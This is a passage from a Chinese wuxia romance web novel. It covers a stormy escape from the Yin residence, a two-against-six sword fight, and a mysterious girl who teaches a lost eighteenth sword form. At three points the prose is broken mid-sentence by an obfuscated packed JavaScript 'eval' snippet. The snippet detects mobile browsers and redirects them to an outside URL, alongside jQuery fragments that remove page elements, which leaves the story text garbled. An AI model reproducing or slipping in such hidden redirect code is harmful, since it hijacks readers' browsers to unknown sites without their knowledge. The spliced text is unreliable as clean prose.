他今日说话奇怪,晏泠音心下隐有不安。两人贴得近了,她才感觉到那具身体的温度不太正常。 “你在发烧?”她抬手去触苏觅的额温,同时亦发觉,他双颊的暖色似乎不只是因为灯光映照。 她的手又湿又冷,但苏觅没有躲让,甚至还微微仰脸配合她的动作,显得相当乖巧。 “不能进去,找机会往外跑。”他的气息也很烫,微微偏头时,那片温热就喷在她的耳侧,“里面有人。” 他还没烧糊涂,起码知道她为什么来。 但是他呢,他又是为何而来? “看一眼殷娘子,”晏泠音边掰他的手指边咬牙,“我就走。” 指腹相接的时候,苏觅的身子僵了一下,可下一秒,他却把她的手腕握得更紧了:“她被人下了毒,但现在已无大碍,你别担心。” ……谁信呢,他会演,殷若瑾的病本就是他一手策划的,贼喊捉贼的话却张口就来。 晏泠音偏过头看他,那张苍白秀美的脸上泛着潮红,被暴雨冲刷着,更显得艳如桃李。 “别担心啊。”他恍似没有看出她眼中的怀疑,凝望着她的双眸,温声重复了一遍,“我保证。” 25. 动摇 雨声被长靴踩碎,侍卫的低语被风送了进来。几星烛火摇曳着照入院中,因为蒙着雨雾而显得模糊,像一片不真实的幻影。 晏泠音在苏觅的话里有一瞬恍惚。 那是来自梦境,还是她已残破不堪的童年记忆?是不是也有人曾握着她的手,附在她耳边轻声说,别担心啊。 语气柔和,带着意在安抚的诱哄和宠溺。 蹚水的哗啦声在院中四处回响,侍卫们正翻检着花木间的每一处。水缸后藏一个人绰绰有余,两个人却难免拥挤。晏泠音把身子蜷得更紧了。这不是一个舒服的姿势,她已经尽力凝神屏息,却仍然不可避免地感受到身边人呼吸的起伏。 心跳交错的频率在近距离的接触间被无限放大,越是压抑,越是刻意忽视,它就越是明显。 手腕上仍覆着不属于她的体温。晏泠音忍了一下,再次转过头去看那人。冷雨润湿了她的唇角,带着潮意,蹭过了苏觅微乱的发。 他半偏着头,也在看她。 那种恍如梦寐的怅然感又一次浮现,和着他如水般温柔的眸光,轻缓地将她包裹起来。她从来都看不透这个人,那些真真假假的情绪像落在水上的影,随着他勾一下唇,眨一下眼,便在漾起的波纹里湮没无踪。 回神时,她的手触到了冰冷粗糙的地面,攥住了两颗砾石。 “还能走吗?” 这句话她是用口型问的。发着烧的人反应比平常要慢,苏觅盯着她的唇看了好一会儿,才缓缓点了下头。 “真的不能进去?” 这次倒是应得很快,苏觅摇头摇得干脆,没有丝毫迟疑。 ……行罢,他们现在是一条线上的蚂蚱,有的账,等脱了身再慢慢算。 下一秒,一粒碎石砸在了屋门前的水洼里,声音不大,但院内的几个侍卫都停住了脚步。晏泠音屏息静了片刻,正要再扔,腕上苏觅的手指却忽然一紧。 他微抬下巴,点了另一个方向。 碎石砸落时,一声细弱的猫叫跟着响起,窸窸窣窣的响动过后,花丛里钻出了一只浑身湿透的黑猫。 离得最近的侍卫骂了声娘,几步跨过去把猫拎起。 “小姐的猫,怎么淋成这样?” 趁众人的注意力一时都在那里,晏泠音倏然环上苏觅的肩,拥住他就地滚了两圈。地上的湿泥糊了他们满身,又脏又臭,但也亏泥地软烂,积水下渗,这一滚做得悄无声息,直接退到了院门旁。 泥里嵌着石块,许是硌到了苏觅的脊骨,他在她的臂弯里颤了一下,一声没哼。 此地不能多留。晏泠音一个翻身站起来,几乎是把苏觅拽了出去。背抵上院墙的那一刻,她才发觉肺里的空气已排尽了,胸口剧痛,眼前也一阵发黑。 她缓了缓,敛神去听院里的动静。 “还要跑,”苏觅声音发哑,他站立不住,半倚着院墙,半靠在她的肩上,双唇几乎贴着她的耳骨,“搜到这里,怕是整个殷宅都惊动了,必须尽早出去。” 他的脖颈方才被灌木的碎枝划伤了,渗出的血湮在不断滑落的雨水里,模糊成一片浅淡的红。 “往哪里跑?”晏泠音不便推开他,只能咬牙道,“苏公子既然敢孤身入虎穴,定然有后招罢。” “不是孤身,”苏觅的声音极轻,却让她陡然生出了寒意,“我带的人死了。” 晏泠音的目光扫过去时,他不在意地笑了笑。 “大概是……有叛徒罢。” 这句话被他说得轻描淡写。几句对答下来,他似乎又有了点精神,稍稍抬了鼻尖,不偏不倚地蹭在晏泠音的耳廓上:“倒是姑娘,怎么一个人在这儿?” “还没谢过苏公子慷慨相助,”晏泠音侧过头去,离那张发烫的脸远了些,“连通行勘合都能拿到手,出入皇宫于公子而言,岂不是易如反掌。” 那天在茗香楼,苏觅给她留了这份“贽礼”。她本不想这么早把它用掉的。毕竟一旦用了,就是将把柄递到了对方手中。 苏觅沉默了一瞬。 “早知如此,”他的左手仍握着晏泠音的手腕,此时垂了眼,去看她掌心浸了水的伤口,“我就不把它送给姑娘了。” 院内忽然传来木门被推开的吱呀声,晏泠音来不及应他这句话,又拿耳朵贴近墙边去听。满院的侍卫齐齐叫了声“老爷”。 随后是殷禹模糊的声音:“搜到什么没有?” 回答他的是一声尖细的猫叫。也不知那猫做了什么,激得一群侍卫都骚动起来,喊着“蠢猫”。哗啦的踏水声响成一片,其间还夹杂着殷禹的怒喝。 适才苏觅说的“有人”,就是殷禹?他在这里做什么? 她没开口,但苏觅像是能听到她心中所想,低低应了一声:“守株待兔。” 这人发起病来连自己也骂。晏泠音深吸了口气:“西墙边有树,我从那里走,你怎么办?” 他微微眯眼:“姑娘在关心我?” “救你一条命,就是还了人情。”晏泠音冷冷地提醒他,“今日过后,我和公子两清。” “那还不到时候,”苏觅伸手去摸颈侧的血水,轻嘶了一声,笑着开口,“我有事要求姑娘,姑娘也有事要求我,不是吗?” 他箍在晏泠音腕上的手指紧了一瞬。 “宅门看得紧,只能翻墙走。我和姑娘一起。” 天穹间炸开一道白亮的电光,几秒后,隆隆雷声再次排山倒海般涌来。晏泠音的肩上陡然一轻,她瞥过眼,看见苏觅撑着墙晃了一下,勉强立定,转头冲她露出纯良无害的笑。 “跑罢。” 暴雨如注。苏觅牵着她的手腕,真的就这样跑了起来。他的脚步虚浮而踉跄,拽住她的力气却大得惊人。明明连站都站不稳了,每一声喘息都急促而滚烫,脚下却没有半刻停顿。 那是逃命的跑法,但对于发着高烧的他而言,也是要命的跑法。 晏泠音忍着膝盖处的刺痛,沉默着跟了他往前跑。在他又一次因重心不稳而向一旁倒去时,她反手握住了他的手掌,把他拉了回来。 ……疯子。 无根水浩浩汤汤,填充了一切空隙,天地间仿佛唯余下他们两人。他是歪歪斜斜的醉鬼,她是步履维艰的伤患,彼此消耗,彼此对峙,又以最微妙的状态彼此扶持。 他是那副躯壳的囚徒,她也是。只是他更无所顾忌更疯狂,而她戴着重枷,每走一步都忍不住回头望。 疯病是会传染的。苏觅一句话都没有说,箍着她腕部的手却越收越紧。他不想放手,他要拉着她闯去这极端风暴的最深处,一起坠进深不见底的暗海。 她会把他推开吗? 她不会的。 从嗅到他身上的危险气息却没有躲开的那一刻起,她就没有退路了。 他们看着截然相反,骨子里却是真正的同类,他早晚会让她知道。 暗色里寒芒闪过时,苏觅猛地把晏泠音拉至身前。那支力道极强的短箭极险地避过了她,扎进了他的左臂。 晏泠音低呼一声:“苏公子!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431907|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的声音在发颤,半是因为跑得太急气息不稳,半是为他那决然的挡蔽而心惊。她离得近,知道暗器来得有多快,从察觉到它到闪身避让,没有半点可供犹豫的时间。 甚至是,没有半点可供思考的时间。 苏觅的背重重撞在一旁的院墙上,发出沉闷的声响。晏泠音则撞在他温热的胸前,耳鼓间充斥的,全是他纷乱的心跳。 “这里能走。”他伸出未受伤的右手,抚了一下身边柳木粗糙的树干,“往下跳的时候收着力,不要伤了脚踝。” 乱飞的冷箭在他们身前嗖嗖而过,晏泠音感觉那只箍着她手腕的手已经无力垂下,冷雨覆了上来,断掉了最后一丝热源。 “那你呢?”她伸手揪住苏觅的前襟,低声道,“左手能动吗?” “我以为,”他嗓音哑而沉,眸光垂落在前襟上,“姑娘更想我留在这里。” 惊雷在头顶炸响,晏泠音松开了他的衣襟。她在笑。 “苏觅,我平生最恨这种话。” 她抬脚蹬上了柳木湿滑的树干,寒声道:“我不会去算计他人的性命。” 柳木树皮薄脆,一不留神就会碎裂脱落,在这样的天气里尤其危险。晏泠音太久没爬过树了,她凭着记忆攀住最低的枝丫,借着双腿和树皮间微弱的摩擦,一点一点往上挪去。 苏觅在背后望着她,目光晦暗。 树枝间黏连的树皮具有迷惑性,她误把它认作了实木,手下一空,瞬间往下滑了几寸,又被她拼力稳住了。 “手!”她停在一处斜生出来的枝干上,勉强定住身形,俯下身冲苏觅低喝,“快点!” 那处枝干虽低,方便她往树上拉人,但不够粗壮,风过时还会令人心惊地左右摇摆。 苏觅没动。太黑了,她看不清他的神情。 “公子怕高?”晏泠音居高临下望着他,语带讽刺,右手却依旧垂在他的面前。 从她露出那个厌恶的笑开始,苏觅就在想。 总不会是他错了。 他知道惠和公主惯于隐忍,心性坚定,认定了某件事便会一意孤行,不计代价,更不会想着回护自己。 这样的人是很难击败的,因为她什么都不在意。她的良善,她的随和,从来都不是为了迎合他人。她只是在做她认为正确的事,所以也不惧怕错付真心。 可这样的人也有弱点,晏泠音的尤为突出。她不喜欢欠人人情。 或者说,她不敢欠人人情。 她还不起。 疾雨砸落在他的面颊,耳畔风声如鬼哭。早在那支箭射过来时,苏觅就想清楚了。他要如何让所谓的人情一点一点积聚,直到晏泠音再也不能忽视,再也不能躲闪。 殷禹没那么可怕,只要他还忌惮晏眆,就不会真的下手杀他。方狱的刘敬又有心倒戈,那些路数他都清楚,进去走一遭而已,他不介意。 可是为什么…… 女子纤巧的手被雨水浸得发白,水珠从指.尖不断滚落,偏它就在他眼前不动如山。 他为什么心里忽然颤了一下,下意识地就要靠过去,握上那只尚不足以抵御风雨的手呢? 她太柔弱,太天真,只会在急遽涌流的涡旋里被卷成齑粉,像那只僵卧污泥的白雀一样。而他会轻柔地替她们阖上眼,直起身来,继续走他血海汪洋的路。 是他动摇了吗? 不。 苏觅很轻地握住晏泠音的手,笑了起来。 “盛情难却,在下……从命。” 26. 剑泣 上一次这么痛快地用剑,是在什么时候? 魏收不记得了。 师兄弟间的切磋不算,那都是点到即止的比试,没人会真的下杀手。何况,剑意求的是收放自如,随着他武艺日渐精进,连小磕小碰的误伤也难得一见了。 出师之后,飞鸿更是少有出鞘的时候。他勤勤恳恳当着菜农,每日挑水浇粪,摘丝瓜挖萝卜,一年一年下来,少年侠客的狂傲气越来越淡,山田农舍间的乡野气却越来越浓。 要说一点惋惜都没有,那不是实话。师兄弟们相继出了头,或是受聘高门,或是扬名武林,连最不起眼的小师弟也广交人脉开了铺子,做大了生意。魏收进城送菜时偶然见过他两回,那通身的吃穿用度,实在不是平头小民能比的。 但魏收从来没有后悔过。 头顶有刺破苍穹的电闪,白亮如雪,却不及他手中那道更亮更快。飞鸿剑短而窄,只能贴身近搏,这是它的弱势,却更是它的险处。它是猛鸷带钩的铁喙,俯冲而下,靠近了才会张开,狠啄上去时,不给猎物任何逃脱的机会。 削铁如泥,斩人无血。 魏收打得兴起,若非顾忌着此刻还在殷宅,恨不能在这暴雨里放声长笑。对面的六个人路数谨严,难斗难缠,他的臂上也被划破了几道,见了点血。可就要这样才有意思,就得是这样的对手,才配和他魏藏锋一较高下! 身旁少年的长剑似在应和着他,鸣声清越如龙吟。拂雪的剑式比飞鸿更轻盈,更花哨,配上归云的身法步法,漂亮得像一场曼妙的舞。但魏收知道,那悦目赏心的剑招里全是森然杀意,它是天底下最华丽也最残忍的剑法,十七式里没有留余地的招数,递出的每一剑,都是奔着取人性命去的。 这孩子年纪还轻,剑法未至大成,但以他的天资悟性,假以时日,前景将是难以限量的。魏收当年被师父从穷山庄里捡回去,一辈子都在感念师恩,因而也格外惜才。有那么几个瞬间,他遗憾过阿承错生在逐风阁,那里看着风光,但众所周知,历任阁主没一个有好下场。 毕竟他们离权力太近,在那些黑暗的沼地也停留太久了。 “小心左边!” 他们两个人对六个,如果一心自保,倒也不至受伤,但若要强攻夺人,行动间难免会露出破绽。阿承持剑逼回正要趁乱逃掉的黑衣人,闻言也不避退,拼着受了左臂那一击,也要抢下那人背上的麻袋。 也太冒险!魏收急转剑锋,闪身近前,替他挡下了那足以削去半条手臂的一剑。即便如此,他虎口也被震得发了麻,心下既惊且怒,又生出一股难以言说的忌惮。 逐风阁上下皆是死士,这句话,并非虚言。 长剑在麻袋上破开一条口子,冷雨灌了进去,袋中昏迷着的人似有所感,闷哼了一声。 人还活着。 魏收一脚揣上身边黑衣人的腿弯,借力退开一步,和阿承背靠背相抵。离得近了他才察觉,身后少年的身子正微微发着颤。 “……多谢。” 他的嗓音未脱青涩稚气。就算表现得再狠,他毕竟也只有十几岁。 魏收在那一刻觉得苏觅真不是东西。 “我攻你守,掩护我。”他握紧了飞鸿的剑柄,话音未落,整个人已如离弦的箭般弹了出去。 这场仗要的就是快。 匕首如啮人的银蛇,招招狠辣,直击咽喉和腰部要害。阿承紧随其后,将长剑舞成漫天银雨,似流星飒沓,夺目的光华让人一时难以逼视。 连疾雨也近不了他的身,豆大的雨点被剑脊拨开,重重砸上了黑衣人的脸。那人双目剧痛,下意识偏头躲避,而飞鸿的剑影已然缠上了他的身。 嗤啦一声,麻袋又破开一条口子,挂在黑衣人身上摇摇欲坠。他见事不好,疾出几剑便回身要走,魏收知道一旦错过这个机会,今日怕会无功而返,他已没有时间回头去看阿承,脚下急速绕开两步,一剑往黑衣人的心口刺去。 身周几道寒刃同时逼来。他此时全身门户大开,如果阿承不能帮他挡住,这一番不死也要重伤。 铮铮几声,银光暴涨。少年在那一瞬祭出了平生所学。拂雪剑式长于攻而拙于守,历来修习它的人都明白,只有将攻势发挥到极致,才能迫得对手回剑自保,没有余力再来伤人。这是弥补它薄弱守势的唯一办法,除此之外别无他途。 他也试着学过别家剑法,想以之弥补拂雪的短处,但无论他如何努力,那些剑招和拂雪总是生硬难融,让他不得不放弃了这一打算。 可就在今时今地,他心中忽然闪过一个念头—— 如果拂雪的剑招,本就不是为了自守呢? 它会是一副完美的铠甲,一道坚不可摧的屏障,将它要护的人紧紧围在剑光里,毫发不损。 就像此刻的魏收一样。 而他拔出浸血的匕首,猛然回身,恰好挡下了黑衣人刺往阿承肩头的一剑。 都道飞鸿拂雪是两大彼此相克的剑法,它们各自为政时斗得难分轩轾,互不相让,可若是……将它们联合起来呢? 这太荒唐了。 归云步传自逐风阁的创建者苏世清,拂雪剑法的出现比它晚了二十年。它为苏世清的第三子苏澹心所创,那人在史册上落笔寥寥,阿承只知道他因幼时的一场变故双腿皆废,是幽国第一位不能行走的王。 他在位的时候,逐风阁正值鼎盛,而千里之外的梁国亦在迎接他们的新主,女帝晏无怀。她即位的第二年创立了十二卫,一面安定国内局势,一面与逐风阁遥遥相抗。 不论怎么想,这两者间都不可能有任何交集。 阿承想着事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431908|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上的动作有一瞬迟滞,黑衣人的剑破开壁障,划伤了魏收的脸。他察觉到阿承心思不宁,怒气再度上涌,喝了一声:“现在是什么时候?回神!” 他口中训着人,一招“山临万仞”已经递了出去。 几乎是下意识的,阿承长剑一挽,紧跟着使出了本该与之相互制约的“鹤唳九霄”。 匕首的流光杂着长剑的寒芒,分刺向不同的方向,填补了彼此所有的破绽,逼得身周的黑衣人齐齐退了一步。 这样的配合绝不可能是巧合。它必然经历过高人的编排,才能精妙得如此天衣无缝。 此时魏收也发觉了这一点。他手上微顿,剑式倏然一变,是一招“振衣解佩”,阿承一眼辨出,没有丝毫犹豫地接上一招“载酒闻琴”。 飞鸿一十七式,配上拂雪一十七式,以攻为守,化守为攻,显现出的威力大得令人咂舌。他们此前从未并肩对敌,但因着这互利互补的招式,竟默契地像是同门多年。 又有两个黑衣人相继倒下,一人重伤委顿,剩下的两人对望了一眼,都明白再打下去也是无益。他们将长剑横在胸前,紧盯着魏收和阿承,慢慢退了几步,忽而转身便跑。 阿承正要追上去,魏收抬剑拦住了他:“主子还等着。” 冷箭划破长空的嗖嗖声越来越近,殷宅的侍卫已经围了过来。魏收不想再和他们纠缠,摇了摇头,伸脚去勾躺在地上的麻袋,却忽觉勾了个空。 ……明明方才还在。 他心里猛地一跳,垂眼去看时,只觉一道凉风掠过耳畔。那不是风,那是人,有人在他的眼皮底下劫走了麻袋,此刻正带了它往外走。 以不可思议的速度。 阿承先一步反应过来,跃起便追。魏收紧跟其后,掌心已渗出了一层冷汗。 什么人会有这样鬼魅般无影无形的轻功?不只是他,连阿承都已无可避免地慢了下来,只能眼睁睁看着那人越行越远。 魏收的脸色青白。他持剑斗了大半个时辰,内力消耗不少,此时又提气直追,身上未愈的血口再度崩裂,喉间也尝到了一丝腥甜。阿承在疾行间忽然回头看他,脸上是从未有过的愕然。 “你看到了吗?” 魏收皱了皱眉。他不习惯这么快的疾走,此刻若是强行开口,只怕会气息逆行,让全身筋脉尽废。好在阿承也没有要他回答的意思,他陷在难以自抑的震惊和困惑里,黑亮的瞳孔皱缩了一下。 那是归云步。 他自小习武,又自诩有点轻功上的天份,可他无比清楚地知道,无论再练多久,他都不可能达到那样的境界。 不是他不够勤苦,也不是他资质驽钝,而是归云步本身就有缺陷。它固然妙绝天下,却也早已被封了顶,若要突破那层上限…… 除非苏世清再世。 27. 百年 两人追到了城北的槐树林。风已经小了,雨却仍然未停,天被剖开了豁口,止不住地往下倾倒。城北这一块地势低,积水已淹过了脚面,林中更是遍地泥泞,湿滑难行。 那人的身形隐没在树影里,看不见了。 阿承也顿了脚步。 “你回去接公子他们。”他忽然侧过头朝向魏收,语气坚决。 “怎么,”魏收睨了他一眼,“你一个人能追上?” 魏收确实忧心如焚,刻意压制着才没有表现出来。不知道晏泠音那里怎么样了,有没有顺利从殷宅逃出。可他也清楚,今晚被劫走的这个人,对他主子非常重要,他不能就这么走了。 何况,他到底不能完全放下对逐风阁的戒备。万一阿承和那人是一伙的,他这一走,岂不是把夏老伯拱手让给了逐风阁? “我要是追不上,你更不行,留着反而拖累我。”阿承猜到了他的想法,颇为不爽地啧了一声,“公子在你那里,你有什么不放心的?” 这倒是真的,实在不行,起码能拿苏觅换人。魏收默了一瞬,终究是对晏泠音的担忧占了上风,收了剑转身便走。临走前,他忽而又觉得有些不对味,闷不吭声地伸出手去,在阿承的发顶狠狠揉了一把。 “小心点。” 阿承被揉得发懵,又莫名地有点鼻酸,半晌才回过神来,吸着鼻子哼了一声:“担心你自己罢。” 他转过头看向树林,里面黑影幢幢,什么都瞧不清。他抿着唇往前迈了一步,长剑倚在身侧,随着他的动作嗡然有声。 这把剑跟了他许久,能感知到主人的心绪。阿承的心跳得很快,不像是惧怕,更像是某种难以言说的兴奋。 林子里的人如果真要甩掉他们,便不会大兜圈子跑来这里。那人显然留了几分力气,把距离控制得恰到好处,既不会被追上,也不至于被跟丢。 为什么? 阿承抬步跨入树林。头顶的槐荫投照下来的那一刻,他轻眯了下眼,感觉有凉水滴在了后颈里。 他直觉,那人是来找他的。 长剑在暗色里划出漂亮的弧度,铮的一声,撞上了对方的刀刃。阿承没有回头,调转剑柄,反手又是一剑。他听风辨位,在鬼泣般的破空声中再次迎上那把重得可怕的刀。冰霜般的寒气直逼他的颈侧,重压之下,他抵着剑柄的虎口一阵剧痛,竟然渗出了血。 但只是一瞬,阿承便觉手上陡然一轻,那人已收刀回退,一个轻巧的后空翻,落上了起伏不定的槐枝。 槐叶上积聚的水被他一晃,尽数滚进了阿承的后颈,又凉又痒。 他留了情。 阿承垂了剑,血水顺着剑柄淌下,很快便被雨冲了个干净。他在树下立了一会儿,在那一霎忽然想起了老阁主。 白发苍苍的上官越站在檐下,望着他在院中练剑,不知为何轻叹了一声:“我要你记住飞鸿的剑式,并非因为它能克制拂雪。你要知道,拂雪真正的对手不在此地,但我希望……阿承永远不会遇上它。” 他听得似懂非懂,但上官越此后再也没说过那句话。再往后变故陡生,他跟着苏觅来了梁国,永远没有问明白的机会了。 及至此刻,阿承的心反倒定了下来。他依旧没有抬头,只拎着剑松松地抱了下拳:“不敢请教前辈名姓。前辈好身手,也不知师从何人,出自何派?” 树上的人半晌没有出声。阿承忍不住了,终于抬眼去看:“前……” 后面的话就卡在了喉咙里。 那人长发高束,窄袖纤腰,一双盛气凌人的眼正一眨不眨地俯视着他。白皙的肤色衬着嫣红的唇,整个人生得玲珑小巧,手上却提了把极长极厚的钢刀。 是个女子。 ……不对,是个看起来还没他大的小姑娘。 自从被他主子卖了之后,阿承已经很久没有这种遭到痛打的感觉了。偏偏这次确实打得重,他的双颊都烫了起来,耳边还回荡着那句情真意切的“前辈”。 “要问名号,”树上的前辈微扬着下巴,嫌弃道,“总得拿出点诚意来。你是上官家的哪一个?” 阿承心中一动,皱了下眉:“我不……” “哎,知道知道,你们逐风阁全都有名无姓,只有当了阁主才配得上上官二字。”小姑娘朝他俯下了身,指.尖一点,“但既然这把剑都在你手里了,你当阁主不也是迟早的事吗。你轻功不错,勉强能跟得上我,也不算辱没了上官的姓氏。” 她语气随意,态度骄纵,偏偏句句都咬得准,对逐风阁的隐秘事如数家珍。阿承从没见过这样的女孩,弄不清她的用意,一时不知要如何应对。 “是我学艺未精,”他定了定神,这才开口,“不如姑娘……” “你不是学艺未精,”她打断了他,口吻又冷又傲,“你是内力所限,学已到顶。苏世清的内功太差,再怎么天资卓绝,也发挥不出归云步的真正功力。和它相配的内功心法只在梁国,你师父没告诉过你吗?” 这下他是真的不知该如何接了。就算她说得不错,但世上也没有跟着外人骂祖师爷的道理。 小姑娘没等他回答,足尖微点,轻盈地飞下了树。她湿漉漉的发尾扫过阿承的脸,而他不自觉耸了下鼻翼,在一片草泥的苦气里嗅到了清冽的柏木香。 像他幼年在观诸崖远眺时,被幽国的猎猎长风送来的干爽味道。 “方才你同那人合剑,为什么只用了十七式?”小姑娘刚刚站定,便回了头疑惑道,“虽然你们的配合确实僵硬难看,但如果将十八式全套使出来,少说也能再打下一个人。” “拂雪飞鸿皆只有十七招,何来的第十八式?”她语声娇憨,口气却太过理所当然,迫得阿承忍不住反问。 小姑娘咯咯笑了起来。 “看在你叫了两声前辈的份上,我就勉为其难指导你一下。”她掂了掂那把与她的体格绝不相称的大刀,忽然转变了握刀的姿势,看着像提了把古怪的长剑,“拂雪的第十四式叫什么?” 阿承犹豫了一下,还是应道:“涉江浮海。” “好孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431909|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,”小姑娘笑得狡黠,“那飞鸿的第十四式呢?” 前面三个字叫得阿承脑中嗡嗡作响,他缓了缓才开口:“缘崖剪流。” “好!”小姑娘重重点了下头,“你用拂雪那一式袭我腰侧,拿出挟山跨海的气势来!”她说着便举起了刀,“使到一半时闪身移步,用内力逼弯剑尖,绕过我的格挡,让我避无可避。能做到吗?” 阿承还未应声,她已扬着下巴眯起了眼,语声轻慢:“做不到也得做。” 下一刻,林中气氛陡变。最先反应过来的,是那些杂乱无章的雨滴。一股极其强硬蛮横的内力疾扫而来,将不及躲闪的雨生生劈作两半。她以剑法运刀,用的正是那一招“缘崖剪流”。阿承对飞鸿的招式早已烂熟于心,可刀身所附的内劲太过骇人,他不敢大意,足尖顿沉,猛地划开湿泥,顷刻间已借力跃起,递出了那招“涉江浮海”。 长剑直刺她的腰侧,而刀尖也剜向了他的心口。 千钧一发之际,小姑娘足下忽动,他甚至没能看清她的动作,可袭至前胸的寒刃倏然消失,他刺出的长剑也跟着扑了个空。 一滴冷汗砸落,正好撞上颈侧的刀刃。那把刀已再次架上了他的肩,同他的皮肤不过毫厘之隔。 “为什么不按我说的做?”小姑娘的声音响在耳边,她显然有些不快,“谁要你手下留情?” 她收了刀,一个转身又绕到了他的身前,抱了臂冷冷地看着他:“若非你临时改变方向,那一剑便能放倒我身旁的敌人,而我也能护你身后平安。” 不用她多说,阿承也已反应过来。这两招皆是第十四式的变式,其诀窍一在快,一在奇。就是要从出人意料的方向刺去,才能在敌人毫无防备时将之击倒。 确实精妙,但……实在太狠了。 “置同伴于险境以掩人耳目,很可能会造成误伤。”阿承摩挲着剑柄上的纹路,避开了她的注视,“若我挥剑时偏了几寸,若你没有及时错开……哪里都能出问题。” “舞刀弄剑本就是险中求胜,”她哂笑一声,“这两招剑法最考验的便是配合,要是没有胆量,还是及早放弃为好。” 胆量二字说得太轻,它更需要的是信任。对自己剑术的信任,将生命交付给同伴的信任。 它和前面的十七式都不同,不是舍己护人,而是推出对方作为诱饵,暴露破绽,引人上钩。也难怪它会长久失传,狠心使出这一剑后,胜也好,败也罢,对执剑者而言,都是诛心的。 阿承口中发干。他舔了一下唇边的雨水,问道:“它叫什么名字?” 小姑娘见他脸色沉肃,不觉歪过头细细端详了一阵:“拂雪第十八式有劈山斩岳之气,叫念君千里,飞鸿第十八式……” 她不知为何忽而顿了一下,阿承抬眼望去,正好对上她清亮的眸光。 那眸光里有什么东西一闪而逝。小姑娘又眯起了眼,像一只骄傲却又矜持的豹子,警觉地打量着自己的目标。 “这一式有前尘尽断的果决,叫回首百年。” 28. 鬼杀 坊间的掌故多为捕风捉影,闲谈者听风是雨,再荒唐、再毫无来由的事,都能讲得有鼻子有眼。可这么多年过去,依然没人能确切说出,幽怀王苏澹心为何终身未娶。 他是伤了腿,又不是伤了那地方,哪怕就为了应付朝臣雪片般飞来,要他顾念国本的折子,放几个人在后宫里也好啊。 可他偏不。 幽国王室祖传的阴鸷狠厉在这位王身上达到了极致。起先他还会含着笑,听大臣苦口婆心地劝谏而不置一词,后来便听也不耐听了。在一位老臣搬出梁国女帝广纳后宫之事时,他终于动了动眼皮,抬手将人“请”了下去,第二天便给那家的女儿指了门好亲事。 这番杀一儆百,朝臣都怕惹火上身,此后才慢慢安静下来。苏澹心不着急后嗣,在其他事上却雷厉风行。当年晏无怀的死讯传至边疆后,他只花了两日时间整顿兵马,随即挥军南下。其时幽国已落了雪,道路冰冻难行,粮草也尚未备齐,可他冒着酷寒亲自披甲挂帅,一路急进,竟然半个月便攻到了白水河畔。 但这场轰轰烈烈的南征结束得极其仓促,据说他因行动不便,不慎中了流矢,伤口溃烂感染,回国不久就溘然病逝。 可亦有些隐秘的传言,说苏澹心并非因箭伤而死,甚至,他的遗骨也不在幽国的王陵中。有些事,执笔的太史不敢写,后世的百姓却能在茶余饭后闲聊一二。 在他们口中,苏澹心是自尽的。 幽军在势如破竹之时,无故从白水河遽然撤兵。其后,苏澹心整整三日没有上朝,留了一封传位诏书便再无音讯。 有人言之凿凿地说,在苏澹心消失的那一日,他的祖父曾亲眼看见一个人纵马上了观诸崖。崖岸高而险,再骏的马亦会四腿发颤不敢上前,可那人从马背上滚落下来,坐在崖边看了会儿将沉的夕阳,随即垂了首,映着暖橘色的辉光,从崖边纵身跃下。 这些话传奇色彩太浓,旁人总是听过笑过便罢,没有谁会把它当真,毕竟也不会有人挖开苏澹心的陵墓去确认。而观诸崖是真正的黄泉崖,其下白骨累累,谁知道那里躺的是个山野樵夫,还是他们那位曾名动海内的王? 说起来,他的名气大到连晏无怀也对他礼敬有加,十年间梁幽两国从未交战,边境的百姓安宁和乐,度过了一段相当罕见的闲逸时光。每至岁末,幽国还会上贡些珍奇玩物,其中便有只产于幽地的和霖花。干花可供泡茶,其香馥郁,在梁国一向有价无市,千里迢迢地运来,光是一路的防潮保养就要花上数不清的银子。而苏澹心年年整车整车地送,从未吝啬过。 听闻晏无怀起居俭朴,口腹之欲极淡,可那种茶,她也爱喝。 桩桩件件地串联起来,不是很有意思吗?白行也扣着刀,百无聊赖地想。话本子看多了,世上的繁杂事也能厘清一二。左不过是些爱恨生死的纠葛,有人看不透,求不得,才会困守其中,痴心妄想一个“百年”。 她虽不理解,却爱听爱看,关键时刻还能拿出来唬人。见少年听得发了楞,白行也难得地生出些逗人的心思,转过刀背拍了拍他的腰。 “好了,故事讲完了,别一副快哭了的样子。小兄弟,我劝你早日回幽国去,这里不是逐风阁该待的地方。今天放你一马,下次再见,我不会手软。” 她提刀欲走,少年涨红了脸,在她背后急道:“不是说听你讲完,就把人还给我吗?怎么说话不算数?” “哦?我说过吗?”她伸手揉了下额角,懒懒笑道,“记性不好,很多事都想不起来。” “你……!” 